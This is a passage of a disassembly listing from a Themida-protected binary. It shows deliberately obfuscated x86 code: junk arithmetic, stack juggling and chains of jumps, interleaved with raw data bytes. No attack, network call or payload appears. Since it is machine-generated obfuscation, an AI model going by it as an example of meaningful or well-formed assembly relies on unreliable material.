XREF: Themida_:0050CE9Dj pop esp add esp, 4 pop ecx jmp loc_50F743 ; --------------------------------------------------------------------------- loc_50F1C1: ; CODE XREF: Themida_:00500F96j add ebp, 2CF8197Ch jmp loc_5147D6 ; --------------------------------------------------------------------------- loc_50F1CC: ; CODE XREF: Themida_:00509B9Ej mov esi, edi pop edi add eax, esi pop esi jmp loc_50AD4A ; --------------------------------------------------------------------------- db 0ACh dd 5166D830h, 770489B1h, 0C800142Ch, 36E91404h, 89FFFF68h dd 32B42404h, 0DCF6D4F6h, 0C012CC80h, 0E4C003ECh, 86C48004h dd 0FFD768E9h, 80C328FFh, 0EC8138C3h, 4, 51241C89h, 531DBF68h dd 0E9815977h, 77531D87h, 0C8BCB89h, 4C48324h, 7157EB81h dd 2CE90DE8h, 66FFFFC0h, 8124048Bh, 4ECh, 64EFE900h, 0EC83FFFFh dd 241C8904h, 83515B54h, 1C8904ECh, 1A53E924h, 0FF640000h dd 5B8E932h, 0D9F7FFFFh, 0E1D1E1D1h, 0FF6433E9h, 51665CFFh dd 2430E9h, 5AD52900h, 5B7CE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F27A: ; CODE XREF: Themida_:0050BDBEj xor dl, cl mov cx, [esp] add esp, 2 push ecx mov cl, 9Dh shl cl, 5 and cl, 45h jmp loc_50E3E0 ; --------------------------------------------------------------------------- loc_50F294: ; CODE XREF: Themida_:00506AE2j sub edx, 0E3048h add eax, edx jmp loc_501B14 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 83000000h, 2C8904ECh, 4BD24h, 0E9010000h, 240C875Dh dd 524248Bh, 4, 300CE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F2C6: ; CODE XREF: Themida_:00513E64j mov edi, esp add edi, 4 push edx mov edx, 4 add edi, edx pop edx push 4BDCh mov [esp], edi jmp loc_502A72 ; --------------------------------------------------------------------------- dd 359ACD81h, 0DDF742A4h, 1AA4B850h, 0A32D3CADh, 293CAD1Ah dd 524558C5h, 0AE4003BAh, 5AD50157h, 75DCC181h, 0E90158ACh dd 75DCE981h, 575D58ACh, 4BFh, 5FF90100h, 5FFC68h, 7579E900h dd 0FE68FFFFh, 89000040h, 0E6892434h, 4C681h, 0EE830000h dd 24343304h, 33243431h, 895C2434h, 0EC83242Ch, 3F0A6804h dd 24890000h, 24048124h, 4, 5524048Fh, 4BDh, 7FC1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F366: ; CODE XREF: Themida_:0050B460j sub dl, 0A4h jmp loc_51082A ; --------------------------------------------------------------------------- dw 835Dh dd 9FE904C4h, 81FFFF04h, 42404h, 48F0000h, 3D6F6824h, 1C890000h dd 0B8505524h, 4, 0FFA006E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F395: ; CODE XREF: Themida_:005128DCj mov ebp, [esp] push 2AA1h mov [esp], edi mov edi, esp sub esp, 4 mov [esp], esi push ebp mov ebp, 5B412D83h push ecx mov ecx, 8AC38B7h jmp loc_50EFB9 ; --------------------------------------------------------------------------- dd 405h, 4C08300h, 5C240487h, 0FF1492E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F3CD: ; CODE XREF: Themida_:00512438j mov [esp], ecx mov ecx, 24AC17C0h jmp loc_510831 ; --------------------------------------------------------------------------- dw 3C89h dd 2FBD6824h, 3C8B70ADh, 4C48324h, 0FFF83BE9h, 4C481FFh dd 0E9000000h, 0FFFF57DFh, 73140E2Dh, 56F82932h, 73140EBEh dd 5EF00132h, 2404875Fh, 8924248Bh, 58542404h, 536E9h dd 66F80000h, 0CDB252h, 45A66D0h, 0EC815B82h, 4, 50240C89h dd 0E188BFB4h, 4EC8158h, 89000000h, 0ECB42404h, 10B9E9h dd 8BDE3100h, 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h dd 142D5C24h, 68601357h, 1674h, 0BF243C89h, 69902A49h dd 0FF9A8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F471: ; CODE XREF: Themida_:0051312Ej push 2Ch jmp loc_50DD25 ; --------------------------------------------------------------------------- loc_50F47B: ; CODE XREF: Themida_:00504A57j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] or eax, eax jnz loc_50DDA8 push 4F13h mov [esp], ebp push 7D7C38FBh jmp loc_5119BB ; --------------------------------------------------------------------------- db 0B8h, 0F7h, 21h dd 0C201FE63h, 8BD70158h, 0FBE92414h, 83FFFF84h, 0EA0402C4h dd 240C8B66h, 0FF7146E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F4C1: ; CODE XREF: Themida_:0050BAA9j add ebx, 0E391FBA6h jmp loc_50CBF2 ; --------------------------------------------------------------------------- loc_50F4CC: ; CODE XREF: Themida_:005106E3j add esi, 36790355h xor esi, 45F93FDCh sub esi, 700608C9h jmp loc_505CCB ; --------------------------------------------------------------------------- loc_50F4E3: ; CODE XREF: Themida_:0050AF39j or edi, 5EE33BECh jmp loc_50B9D4 ; --------------------------------------------------------------------------- loc_50F4EE: ; CODE XREF: Themida_:005042A0j mov esp, [esp] sub eax, ebx mov ebx, [esp] jmp loc_4FFE2B ; --------------------------------------------------------------------------- loc_50F4FB: ; CODE XREF: Themida_:00512CF3j mov [esp], edx push esp pop edx push edi mov edi, 5C796265h add edi, 6B94EA0h inc edi shl edi, 7 sub edi, 6ACB5B7Ah sub edi, 2E8D2782h jmp loc_504A5C ; --------------------------------------------------------------------------- db 81h, 0E9h, 4 dd 87000000h, 8DE9240Ch, 87FFFFBFh, 248B242Ch, 242C8924h dd 5D2414F7h, 804CE953h, 875BFFFFh, 895C2404h, 0FD68242Ch dd 5D71CD37h, 0E2ED814Dh, 0E902AE4Bh, 0FFFFCA42h ; --------------------------------------------------------------------------- loc_50F55C: ; CODE XREF: Themida_:0050E921j add edx, 224A65A8h pop esi add edx, ebx push eax mov eax, 479409ADh not eax jmp loc_51098B ; --------------------------------------------------------------------------- loc_50F572: ; CODE XREF: Themida_:004FFBEFj push 4D9Fh mov [esp], ecx mov ch, bl push eax mov ah, ch mov dh, ah pop eax pop ecx pop ebx jmp loc_50AB31 ; --------------------------------------------------------------------------- db 59h, 0E9h, 69h db 0D7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F58F: ; CODE XREF: Themida_:00510ED6j mov [esp], ax jmp loc_502022 ; --------------------------------------------------------------------------- dd 8B59CA01h, 0DCE9241Ch db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F5A3: ; CODE XREF: Themida_:00500604j add eax, 4 xor eax, [esp] jmp loc_50B229 ; --------------------------------------------------------------------------- dw 8B66h dd 6FE9240Ch, 1FFFFFDh, 83E95DEBh, 8FFFFF15h, 0E95C2404h dd 0FFFF6584h, 4C181h, 0BB530000h, 4, 0E95BD901h, 0FFFFA82Ah dd 0E95EF121h, 0FFFF5FC7h, 5966402Ch, 0FF911CE9h, 0CB2958FFh dd 0E9240C8Bh, 0FFFF7E20h ; --------------------------------------------------------------------------- loc_50F5F8: ; CODE XREF: Themida_:0050B51Aj or edi, 1005156Dh shl edi, 4 jmp loc_5125AA ; --------------------------------------------------------------------------- dw 0E289h dd 4C281h, 0C2830000h, 24148704h, 240C335Ch, 0E9240C31h dd 458Bh, 5002C083h, 42474FFh, 24048F58h, 0FF348EE9h, 0E78957FFh dd 4C781h, 0A1E90000h, 88FFFF9Bh, 2041E9E3h, 8F660000h dd 75DFE902h, 0E958FFFFh, 0FFFFA1C1h, 0A23BED81h, 0EF8941F2h dd 0FD96E95Dh, 0C8BFFFFh, 4C48124h, 81000000h, 4ECh, 5F71E900h dd 0D8F7FFFFh, 3504E8C1h, 9A94F98h, 0FF4F8EE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F685: ; CODE XREF: Themida_:00508471j add esp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 32BACAF8h xor eax, edx jmp loc_5141EB ; --------------------------------------------------------------------------- loc_50F69B: ; CODE XREF: Themida_:0050E1E2j pop ebp add [esp+4], edi mov edi, [esp] add esp, 4 jmp loc_50A9F6 ; --------------------------------------------------------------------------- loc_50F6AB: ; CODE XREF: Themida_:005025CFj mov ebp, edx pop edx jmp loc_508005 ; --------------------------------------------------------------------------- loc_50F6B3: ; CODE XREF: Themida_:005119C2j push ebp mov ebp, 0D7DEBABBh sub ecx, 499B6B4Bh sub ecx, ebp jmp loc_514DEE ; --------------------------------------------------------------------------- dw 1489h dd 8B15E924h, 8B66FFFFh, 0EC812404h, 4, 2D48E9h db 0 ; --------------------------------------------------------------------------- loc_50F6DD: ; CODE XREF: Themida_:0050F7F6j push dword ptr [esp] jmp loc_507AAE ; --------------------------------------------------------------------------- loc_50F6E5: ; CODE XREF: Themida_:0050B609j mov ecx, 0EC78BD5h sub edi, ecx pop ecx sub edx, 7A9842CEh add edx, edi jmp loc_5105C6 ; --------------------------------------------------------------------------- loc_50F6FA: ; CODE XREF: Themida_:00501B2Fj mov ecx, [esp] jmp loc_512260 ; --------------------------------------------------------------------------- dw 0B6B8h dd 0E907C94Ah, 0FFFF6699h ; --------------------------------------------------------------------------- loc_50F70C: ; CODE XREF: Themida_:00502CBBj sub edx, 4 push edx push dword ptr [esp+4] jmp loc_502147 ; --------------------------------------------------------------------------- loc_50F719: ; CODE XREF: Themida_:0050369Fj mov edx, 43187EA1h inc edx shr edx, 8 jmp loc_4FF8DB ; --------------------------------------------------------------------------- aYsjc db 'YC',0 dd 68226800h, 2C8B2B23h, 4C48324h, 47ACE9h db 0 ; --------------------------------------------------------------------------- loc_50F73D: ; CODE XREF: Themida_:0050AB05j pop esi jmp loc_5072A3 ; --------------------------------------------------------------------------- loc_50F743: ; CODE XREF: Themida_:0050F1BCj push 6CCEh mov [esp], eax jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_50F750: ; CODE XREF: Themida_:0050BE31j pop edi push ebp push 3867h mov [esp], edi push 47222B93h pop edi push edx mov edx, 388052FCh jmp loc_50C0B5 ; --------------------------------------------------------------------------- loc_50F76B: ; CODE XREF: Themida_:00506093j or bl, 8Ah sub bl, 0C2h shr bl, 1 sub bl, 0E5h add cl, bl jmp loc_50E810 ; --------------------------------------------------------------------------- db 89h, 0D7h, 89h dd 1CA1E9FBh, 0C301FFFFh, 2BBE5652h, 8114F945h, 0A62772EEh dd 0A168552Bh, 89000010h, 0CAE92404h, 89000020h, 0D0215BDAh dd 0FF3969E9h, 0E9DA31FFh, 3C1Fh, 5C243433h, 0FF288AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F7BD: ; CODE XREF: Themida_:00508C97j mov eax, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_503CB6 ; --------------------------------------------------------------------------- loc_50F7D7: ; CODE XREF: Themida_:00511E55j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] pop esp or eax, eax jz loc_4FF9DE push dword ptr [edi+1Ch] jmp loc_50F6DD ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD259h, 0CE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F80A: ; CODE XREF: Themida_:00508330j sub esi, edi add esi, 2CA001ABh pop edi add esi, 16855F2Ch sub esi, 77759ADh add esi, edx jmp loc_512B97 ; --------------------------------------------------------------------------- dw 4C01h dd 0C8B0424h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_4FF816 ; --------------------------------------------------------------------------- db 0BAh, 5Eh, 41h dd 0D5014C7Ah, 0FF4649E9h, 2B966FFh, 4C016600h, 59660224h dd 0FEFFB5E9h, 1C77FFFFh, 0D259669Dh, 0E99C2414h, 0FFFEFFA6h dd 8924248Bh, 0D3E92414h, 81000040h, 369E23C2h, 5A5E5298h dd 4247431h, 1773E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F88E: ; CODE XREF: Themida_:00501CE3j mov ecx, [esp] add esp, 4 jmp loc_50DA10 ; --------------------------------------------------------------------------- loc_50F89C: ; CODE XREF: Themida_:0050EEB2j mov dl, 3Dh jmp loc_51338C ; --------------------------------------------------------------------------- db 5Ch dd 57E28952h, 0FFC92AE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F8AD: ; CODE XREF: Themida_:0050DDE1j mov ebx, esp add ebx, 4 sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp jmp loc_511097 ; --------------------------------------------------------------------------- loc_50F8C7: ; CODE XREF: Themida_:0050B91Aj mov esi, 4 and ecx, esi push dword ptr [esp] push dword ptr [esp] jmp loc_50017B ; --------------------------------------------------------------------------- align 2 dw 66DDh dd 256AE95Bh, 0AF68FFFFh, 89000037h, 54F6241Ch, 0E95B0124h dd 0FFFF8F8Bh, 2BF57h, 0EE810000h, 37146366h, 1ECEE81h dd 0C6817D49h, 20847E50h, 90E9FE01h, 68FFFF99h, 65FAh dd 0BF243C89h, 4, 815FFA01h, 4ECh, 243C8900h, 2BFh, 0E9FA0100h dd 0FFFFB89Ah, 59470EBDh, 8B9E933h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F942: ; CODE XREF: Themida_:004FFEEAj shl dl, 2 sub dl, 0F5h add al, dl jmp loc_509A51 ; --------------------------------------------------------------------------- db 5 dd 4, 4C83E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F95A: ; CODE XREF: Themida_:00508ED9j push 75BCh jmp loc_501346 ; --------------------------------------------------------------------------- dd 5C24048Fh, 9CC88566h, 0FF4141E9h, 26C581FFh, 0C1657547h dd 0F58108EDh, 26E7B706h, 0E95DEB89h, 0FFFF7276h ; --------------------------------------------------------------------------- loc_50F988: ; CODE XREF: Themida_:00512A55j xor esi, 0E6A03EA4h sub edx, esi mov esi, [esp] add esp, 4 sub edx, 3FD035B4h mov ecx, edx pop edx push esi mov esi, 319430C1h dec esi shr esi, 8 jmp loc_50FF09 ; --------------------------------------------------------------------------- loc_50F9AE: ; CODE XREF: Themida_:00512B20j push ebx mov ebx, 72E30Fh sub edi, 23E63FF5h jmp loc_50ACA0 ; --------------------------------------------------------------------------- db 8Bh db 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 4 jmp loc_510F59 ; --------------------------------------------------------------------------- aFauHc db '-fa;h:',0 align 2 dw 3489h dd 79E3BE24h, 0C5E97AB0h, 87FFFFCCh, 0E95C2414h, 0FFFFEA2Fh dd 8FDDE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F9F6: ; CODE XREF: Themida_:00507AD0j add esp, 4 jmp loc_511817 ; --------------------------------------------------------------------------- loc_50F9FE: ; CODE XREF: Themida_:0050EFD5j pop esi jmp loc_504294 ; --------------------------------------------------------------------------- dd 0B02DF801h, 2D1DF37Bh, 50383A41h, 65ABB53h, 0EB813D73h dd 0BEEF9AB0h, 0C0E9D829h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FA23: ; CODE XREF: Themida_:00503371j sub esp, 4 jmp loc_5121F8 ; --------------------------------------------------------------------------- loc_50FA2E: ; CODE XREF: Themida_:00503739j add ecx, 1 jmp loc_500EAA ; --------------------------------------------------------------------------- loc_50FA39: ; CODE XREF: Themida_:0050278Cj push ebp push 50117829h mov ebp, [esp] add esp, 4 inc ebp jmp loc_504150 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48324h, 4244481h, 76120A39h, 550EB850h, 44291711h dd 48B0824h, 4C48324h, 4246C81h, 37F630ABh, 4244481h, 3EAA0DE6h dd 4245401h, 4246C81h, 3EAA0DE6h, 4244481h, 37F630ABh dd 0FF0044E9h, 4C481FFh, 0C1000000h, 875208E2h, 0D2F72414h dd 2474FF52h, 24148B04h, 0E904C483h, 0FFFFDC5Ch, 0B850424Ah dd 67AA12EFh, 0FF4D5DE9h, 241489FFh, 442C6853h, 75E95196h db 72h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FACF: ; CODE XREF: Themida_:00511304j mov ebx, esp push edi mov edi, 352C3BA7h shl edi, 6 sub edi, 4B0EE9BCh add ebx, edi pop edi push edx jmp loc_501F80 ; --------------------------------------------------------------------------- loc_50FAE9: ; CODE XREF: Themida_:00505EEBj push ebp push 72E04370h jmp loc_50EB5B ; --------------------------------------------------------------------------- loc_50FAF4: ; CODE XREF: Themida_:0050E1BDj xchg edi, [esp] pop esp push edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] jmp loc_507563 ; --------------------------------------------------------------------------- loc_50FB0E: ; CODE XREF: Themida_:00514415j pop eax pop ebp add ecx, 4E567A8Eh add ecx, ebx sub ecx, 4E567A8Eh push dword ptr [esp] pop ebx push ecx jmp loc_5011EA ; --------------------------------------------------------------------------- dd 4C481h, 0C8310000h, 0ACABE959h, 0E950FFFFh, 0FFFFD08Ch ; --------------------------------------------------------------------------- loc_50FB3C: ; CODE XREF: Themida_:0050A66Ej push 3B7Fh jmp loc_503BEE ; --------------------------------------------------------------------------- loc_50FB46: ; CODE XREF: Themida_:0050DAA6j pop esp jmp loc_51433F ; --------------------------------------------------------------------------- dd 7E092FBBh, 5BDE0150h, 0EE81C601h, 507E092Fh, 29BBEE81h dd 2DE93003h, 1FFFF05h, 13685DEBh, 89000008h, 0CE9241Ch dd 26h, 0BCB652F0h, 0FF1212E9h, 2E2C1FFh, 0FFDFC5E9h, 0EB8158FFh dd 45C1499Eh db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi push ecx push edx mov edx, 5A1C5575h jmp loc_510044 ; --------------------------------------------------------------------------- loc_50FBA1: ; CODE XREF: Themida_:00511E3Fj mov [esp], edx mov dl, 74h mov cl, 65h jmp loc_5102AF ; --------------------------------------------------------------------------- loc_50FBAD: ; CODE XREF: Themida_:005124D0j shl ecx, 3 neg ecx or ecx, 3DE0099Ch jmp loc_5102C0 ; --------------------------------------------------------------------------- db 28h, 0E7h, 58h dd 65B45066h, 0FFEA3DE9h, 148B5BFFh, 4C48124h, 66000000h db 8Bh, 14h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50EDAA ; --------------------------------------------------------------------------- loc_50FBDF: ; CODE XREF: Themida_:00514DEFj mov esi, 499B6B4Bh add ecx, esi pop esi mov ebp, [esp] jmp loc_505870 ; --------------------------------------------------------------------------- loc_50FBEF: ; CODE XREF: Themida_:005055D0j sub esi, edi jmp loc_50EBB1 ; --------------------------------------------------------------------------- loc_50FBF6: ; CODE XREF: Themida_:00512C18j mov ecx, [esp] add esp, 4 push esi jmp loc_501C9A ; --------------------------------------------------------------------------- loc_50FC02: ; CODE XREF: Themida_:0050AD05j push ecx mov ecx, 2E2D6460h dec ecx sub ecx, 1 sub ecx, 364F48F1h not ecx shl ecx, 8 sub ecx, 8B7CD9C9h jmp loc_50A4FF ; --------------------------------------------------------------------------- loc_50FC25: ; CODE XREF: Themida_:0051400Dj add esp, 4 jmp loc_509F38 ; --------------------------------------------------------------------------- dd 13268h, 24048900h, 0FFCB41E9h, 4E5C1FFh, 0FF8B96E9h dd 4C381FFh, 81000000h, 4EBh, 241C8700h, 243C895Ch, 0AA2BB53h dd 0DF896C54h, 0E7814F5Bh, 25B63A0Ah, 0DB9514Fh, 0E927C45Dh dd 27A0h, 2BFh, 5FFE2900h, 8904EC83h, 74FF2434h, 8F5E0424h dd 248B2404h, 2855E924h, 6850FFFFh, 1D0952EFh, 1518E958h dd 0E9C1FFFFh, 0CFBA5207h, 8163F432h, 88442CEAh, 8E2C116h dd 907BF281h, 0BF5784C9h, 76F22530h, 1E9D787h, 0E900003Eh dd 0FFFEFB4Eh, 240C895Ch, 0E9E3B450h, 214Bh, 4F9BBB53h dd 0D9296845h, 4CC6E9h db 0 ; --------------------------------------------------------------------------- loc_50FCE1: ; CODE XREF: Themida_:00511239j mov edx, 57BD582Eh sub edx, 2415776Fh neg edx jmp loc_513485 ; --------------------------------------------------------------------------- db 0BEh dd 3ABF38A3h, 240EC681h, 72E94EB5h, 2900000Eh, 0E9C789F8h dd 3313h ; --------------------------------------------------------------------------- loc_50FD0C: ; CODE XREF: Themida_:00513486j push ebp jmp loc_500C52 ; --------------------------------------------------------------------------- dw 0BD55h dd 798E1C8Bh, 0EDC1E5D1h, 3634E908h, 468FFFFh, 5E000000h dd 34FFF201h, 11685E24h, 8900005Ah, 0E589242Ch, 4C581h dd 0C5830000h, 242C8704h, 0E924248Bh, 0FFFFA954h ; --------------------------------------------------------------------------- loc_50FD4C: ; CODE XREF: Themida_:00502290j not ebp xor ebp, 0FA6BA299h add edi, ebp mov ebp, [esp] add esp, 4 jmp loc_514D03 ; --------------------------------------------------------------------------- loc_50FD61: ; CODE XREF: Themida_:0050D2BEj mov [esp], ebp push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push edi mov edi, 39BB0DB8h xor edi, 474470C9h shl edi, 1 jmp loc_512BC6 ; --------------------------------------------------------------------------- dw 7F05h dd 0E9380C70h, 0FFFF782Bh ; --------------------------------------------------------------------------- loc_50FDA4: ; CODE XREF: Themida_:00506E3Cj push dword ptr [esp] mov eax, [esp] add esp, 4 push edx jmp loc_502712 ; --------------------------------------------------------------------------- dw 34FFh dd 0C4835824h, 0E6895604h, 0EE6BF57h, 94E967B8h, 1FFFFDFh dd 24148BD7h, 0FFFD61E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FDD5: ; CODE XREF: Themida_:0050E988j mov ebx, 4C0E6531h add ebx, 378E0EF0h sub ebx, 7AAE271Bh sub edx, ebx pop ebx pop ebp jmp loc_513142 ; --------------------------------------------------------------------------- loc_50FDEF: ; CODE XREF: Themida_:00503A50j add esp, 4 sub esp, 4 mov [esp], ebp mov ebp, 0B911719h jmp loc_510C31 ; --------------------------------------------------------------------------- db 66h, 0C1h, 0EBh dd 0E3816602h, 57661702h, 0FAD1BF66h, 0E9FB2966h, 4255h dd 0E9241C89h, 3DCDh, 2404895Ch, 2728E9h, 48B6600h, 4EC8124h dd 89000000h, 5455243Ch, 81242C8Bh, 4C4h, 4BE5600h, 81000000h dd 0A10724C5h, 97ED813Fh, 10D7A2Fh, 97C581F5h, 810D7A2Fh dd 0A10724EDh, 0ED815E3Fh, 4, 0E9242C87h, 0FFFF44AFh, 0F9D3A3BDh dd 5DE801F7h, 0FFD128E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FE81: ; CODE XREF: Themida_:005098B1j push edx mov edx, 16841765h sub esi, edx pop edx jmp loc_509334 ; --------------------------------------------------------------------------- loc_50FE8F: ; CODE XREF: Themida_:0050BADEj or eax, eax jz loc_50DDA8 push 59BCh jmp loc_5086CF ; --------------------------------------------------------------------------- loc_50FEA1: ; CODE XREF: Themida_:004FFC80j btr [esp], ax pushf jmp loc_4FF816 ; --------------------------------------------------------------------------- dd 42474FFh, 567AE958h, 815FFFFFh, 0FFFFFFEDh, 0E952FFh dd 5100001Dh, 2F2B4CB9h, 7128E94Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50FECE: ; CODE XREF: Themida_:0050D9ADj mov ebx, 11DA567Dh jmp loc_4FFA3C ; --------------------------------------------------------------------------- dd 8B2434FFh db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi mov edi, 4 add ebp, edi pop edi add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_5031A1 ; --------------------------------------------------------------------------- dw 55Fh dd 4, 0FF4EC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FF09: ; CODE XREF: Themida_:0050F9A9j and esi, 4F0258FCh jmp loc_5033B1 ; --------------------------------------------------------------------------- loc_50FF14: ; CODE XREF: Themida_:0050C0EAj mov esi, 7AE3044Ch dec esi add esi, 1 shr esi, 6 sub esi, 1EB8C0Dh add edi, esi pop esi sub edi, 4 xchg edi, [esp] pop esp jmp loc_50E0F5 ; --------------------------------------------------------------------------- loc_50FF38: ; CODE XREF: Themida_:00503A10j mov edx, esp push eax jmp loc_506170 ; --------------------------------------------------------------------------- loc_50FF40: ; CODE XREF: Themida_:00505652j push dword ptr [esp] pop edi add esp, 4 mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 2 xor ebp, [esp] jmp loc_504178 ; --------------------------------------------------------------------------- dd 355ABA52h, 0E951088Fh, 0FFFFD844h, 90A0E9ADh, 0FE01FFFFh dd 5EF7015Fh, 0FF0892E9h, 81D7F7FFh, 270C9ECFh, 68515014h dd 3CF07F2Ah, 16B0E9h db 0 ; --------------------------------------------------------------------------- loc_50FF95: ; CODE XREF: Themida_:00510712j add ebp, 6B3275DEh sub ebp, 779B4473h pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or eax, eax jmp loc_50130C ; --------------------------------------------------------------------------- loc_50FFB5: ; CODE XREF: Themida_:00507DDDj add esp, 4 mov ebx, [esp] add esp, 4 jmp loc_504832 ; --------------------------------------------------------------------------- db 33h dd 4312404h, 24043324h, 240C895Ch, 0C181E189h, 4, 53D3BD55h dd 0E945011Eh, 0FFFEF84Bh, 3090685Ah, 34890000h, 81E68924h dd 4C6h, 65BA5200h, 81183928h, 0D779CBCAh, 0A8E28106h dd 81524060h, 0E46DA2E2h, 0DDE28127h, 4235CB6Fh, 0FFC69FE9h dd 468FFh, 565E0000h, 0BD243481h, 5931FB38h, 38BDBA52h dd 0D13131FBh, 13E95E5Ah db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510037: ; CODE XREF: Themida_:0050D042j push ebx mov ebx, 276A2103h not ebx jmp loc_5060FA ; --------------------------------------------------------------------------- loc_510044: ; CODE XREF: Themida_:0050FB9Cj mov ecx, edx mov edx, [esp] jmp loc_511A32 ; --------------------------------------------------------------------------- dw 0EA81h dd 12A8181Dh, 0FF93FBE9h, 29E959FFh, 89FFFFACh, 0C788241Ch dd 885BF988h, 240C8BCAh, 4C481h, 0D1880000h, 0FF2B04E9h dd 89DE29FFh, 0E9515EF3h, 0FFFFD65Ah, 148BD389h, 486CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51008E: ; CODE XREF: Themida_:00507B0Fj pop esi sub edi, edx push dword ptr [esp] jmp loc_50771B ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 0E9000000h, 0FFFF8EFDh, 415716BEh, 5EF10105h, 59CE295Eh dd 8146D6F7h, 7ACC99F6h, 5EF28961h, 34FFD329h, 0E44FE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5100C6: ; CODE XREF: Themida_:0050270Dj push edx jmp loc_502A13 ; --------------------------------------------------------------------------- dd 4358C389h, 0FF49C7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5100D5: ; CODE XREF: Themida_:00507DB6j pop eax push eax mov eax, 4 add ecx, eax pop eax push 74ABh mov [esp], ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] loc_5100F2: ; CODE XREF: Themida_:loc_50130Cj push 4B61h mov [esp], ebx push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_50A84B ; --------------------------------------------------------------------------- db 51h dd 592404FFh, 322AF181h, 0C18115D0h, 0B8A91A8Ch, 0FF5B71E9h dd 5D5B55FFh, 73E38143h, 51391128h, 29BEBD55h, 5CB9584Dh dd 3135FD51h, 0CB315DE9h, 83240C8Bh, 90504C4h, 2906D257h dd 57092DD8h, 1C8B06D2h, 0B4B8E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510156: ; CODE XREF: Themida_:005059A9j mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_508AE7 ; --------------------------------------------------------------------------- db 31h, 0EBh, 5Dh dd 504FED81h, 0ED8151D0h, 419B7CBBh, 0C581DD01h, 419B7CBBh dd 504FC581h, 835B51D0h, 0EC8302C5h, 242C8904h, 0FF889DE9h dd 1C77FFFFh, 6658669Dh, 9C240419h, 0FF341AE9h, 5A665BFFh dd 0B3530D04h, 51EB80C5h, 0FF68EBE9h, 241489FFh, 0E93CB353h dd 0FFFF8933h, 171F2E2Dh, 4F5D0533h, 0D801264Ah, 4A4F5D2Dh dd 1F2E0526h, 1C8B3317h, 4C48124h, 56000000h, 2BEh, 0A886E900h dd 0E95FFFFFh, 0FFFF8AF7h, 0C181D901h, 368D0454h, 4E9835Bh dd 5C240C87h, 54241489h, 4C2815Ah, 68000000h, 6631h, 68243489h dd 2F77h, 0B9240C89h, 5B402A13h, 59E94141h, 81FFFF42h dd 0D471EFF1h, 0E7E18172h, 81624D02h, 130E1CF1h, 0E9D1F75Ah dd 2FDEh, 4BA52h, 80E90000h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51024B: ; CODE XREF: Themida_:00502856j push ebp mov ebp, 25AB0C71h not ebp add ebp, 0B985AACh dec ebp xor ebp, 0A02E32EFh sub ecx, ebp pop ebp add ecx, esi jmp loc_51442D ; --------------------------------------------------------------------------- dw 0C681h dd 45A21984h, 83242C8Bh, 0BD6804C4h, 89000026h, 84E9240Ch db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_510283: ; CODE XREF: Themida_:005096DFj push dword ptr [esp] pop ebx jmp loc_507298 ; --------------------------------------------------------------------------- loc_51028C: ; CODE XREF: Themida_:0050E486j sub ebp, esi pop esi xchg ebp, [esp] pop esp mov [esp], ebp push edi jmp loc_50E525 ; --------------------------------------------------------------------------- loc_51029C: ; CODE XREF: Themida_:005055E2j sub ebp, 2A5E467Ch add ebp, 0DDC43340h add eax, ebp jmp loc_507FF9 ; --------------------------------------------------------------------------- 